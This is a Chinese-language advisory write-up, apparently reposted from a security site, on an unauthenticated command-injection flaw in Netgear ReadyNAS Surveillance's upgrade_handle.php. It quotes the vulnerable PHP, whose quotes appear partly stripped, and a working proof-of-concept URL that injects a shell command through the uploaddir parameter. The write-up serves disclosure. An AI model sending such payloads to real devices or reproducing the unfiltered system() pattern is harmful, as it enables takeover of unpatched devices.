美國網件ReadyNAS監控系統非認證遠程命令執行漏洞分析
背景
Read
yNAS監控系統是網件公司提出的可直接在ReadyNAS存儲設備上安裝的,簡單易用的網路視頻記錄軟體。安裝一些連網的攝像頭,監控系統就可以運行了。漏洞描述
網件公司的
ReadyNAS監控系統發現有非認證的遠程命令執行漏洞。
傳遞給upgrade_handle.php的用戶輸入沒有進行嚴格的過濾。
{if(constant("NEED_UPLOAD_FROM_DISK")){if(isset($_GET["uploaddir"])) {$uploaddir=$_GET["uploaddir"]; $fp=fopen(UPLOAD_CONF_PATH,"w"); $strData="server.upload-dirs=("".$uploaddir."")
"; fwrite($fp,$strData);fclose($fp); $current_dir=system("cat".PHP_CINF_PATH."|grep"upload_tmp_dir""); $tmp_upload_dir="upload_tmp_dir=".$uploaddir; $cmd="sed-i"s/".str_replace("/","/",$current_dir)."/".str_replace("/","/",$tmp_upload_dir)."/g"".PHP_CINF_PATH; //system("echo"$uploaddir">".UPGRADE_DIR_PATH); $file=fopen(UPGRADE_DIR_PATH,"w"); if($file) fwrite($file,"[UPLOAD]
"); fwrite($file,"upload_dir="".$uploaddir.""
");fclose($file); header("Content-type:application/xml
"); echo"Modifyuploaddirectoryok";
從上面的代碼中,我們可以看到$_GET[『uploaddir』]沒有轉義(過濾),就直接通過 $tmp_upload_dir傳遞給
system()。
else if( 0 == strcmp($_GET["cmd"],"writeuploaddir") )
通過發送下面的參數,就可以執行輸入的命令
"?cmd=writeuploaddir&uploaddir=%27;COMMAND_TO_EXECUTE;%27"
PoC
http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27
廠商回應
該漏洞於
6月27日被通報給
網件公司,但公司拒絕透露相關技術細節以及修復的時間點。
參考來源:https://blogs.securiteam.com/index.php/archives/3409
※再曝實錘,更多證據顯示俄羅斯或干預了去年的美國大選
※如何用ESP8266做個釣魚測試WIFI
※亂曬登機牌很可能導致你的賬戶信息被盜用
※PC傻瓜式安裝黑蘋果並打造成全能逆向工作站
TAG:FreeBuf |